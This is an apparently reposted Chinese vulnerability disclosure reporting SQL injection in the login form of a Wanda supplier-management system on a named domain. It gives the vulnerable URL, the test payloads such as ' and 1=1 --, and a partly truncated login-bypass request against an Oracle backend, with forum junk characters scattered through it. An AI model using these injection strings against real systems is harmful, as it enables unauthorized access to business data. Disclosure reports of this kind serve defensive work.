万达供应商系统SQL注射漏洞

admin

简要描述：万达某分站sql注入。敏感信息泄露。
详细说明：
万达scm系统登陆框sql注入。
% l( v( F$ V4 p) N
9 L9 {6 t" Y$ z$ ^" ]http://www.vans-china.cn/LoginUser?USERNO=%27&PWD=%27


4 r& x6 J% d2 r6 R! M& F' J500错误。
  r: u- ~" X" @
5 _) W' L9 v% P+ p4 w* @用户名随便输，提示没有该用户;USERNO=%27 and 1=1 --&PWD=%27 and 1=1 --提示密码错误。
0 |: s+ F8 G; w7 j) Thttp://www.myhack58.com/Article/UploadPic/2013-3/201332317223677547.png
截图有一点问题，用户名，和密码输入' and 1=1 --可以得到相同的提示，可自测。）
经过分析，登陆验证的过程应该是：

取用户名查询数据库，有该用户，再用该用户密码和输入的密码进行比对，相同则登陆成功。
1 J. n. P& c/ R$ m/ I- Thttp://www.myhack58.com/Article/UploadPic/2013-3/201332317233886589.png

oracle数据库，存在注入点。@大连万达，你怎么看？
http://www.myhack58.com/Article/UploadPic/2013-3/201332317241777393.png
4 T- T% B5 ]9 y! ]7 m* l' u! ?$ h
; S9 U. ?0 s& d7 w; I9 k3 M6 n# c系统里有万达的供应商资料什么的,提交数据的地方随便输入'，提交500错误。没深入。目测可shell。
! q- ^) X# G# n6 M4 ~漏洞证明：
6 G4 A+ O" O) z2 Q# X万达scm系统登陆框sql注入。
/ R0 [( v! B5 y/ ~+ z* x5 ]1 ?
http://www.vans-china.cn/LoginUser?USERNO=%27&PWD=%27


500错误。

" n. D8 d# E" O9 |2 D9 R用户名随便输，提示没有该用户;USERNO=%27 and 1=1 --&PWD=%27 and 1=1 --提示密码错误。
http://www.myhack58.com/Article/UploadPic/2013-3/20133231728465694.png


（截图有一点问题）
6 n" z1 V6 d" [
怎么饶都饶不过去；经过分析，登陆验证的过程应该是：

取用户名查询数据库，有该用户，再用该用户密码和输入的密码进行比对，相同则登陆成功。
4 _1 P2 B" z- D! y/ n0 D: o
* Z  J! X) S* s" R0 r' l绕过：
* Y6 k. [' @1 k* O/ Whttp://www.vans-china.cn/LoginUs ... 1%27=%271&PWD=1
! h6 }5 \& Y5 n- A* J7 U
. N( z, B- c- b4 i: T2 P( i7 ^: O% T
' r( f" e$ H. w) Yoracle数据库，存在注入点。@大连万达，你怎么看？
​系统里有万达的供应商资料什么的，有发布公告，没深入。目测可shell。

; F: P6 ^! W) V" I修复方案：
。。。
! @$ s3 C. H/ r: V4 m( ?

厂商已经确认

[/td][/tr]
( _6 T- q  x3 x  b8 g1 E[/table]
8 n) b& ~3 T- T' `5 k* L1 x; r, ~) ]4 k# K

% @; B' x" _! H! f" |: _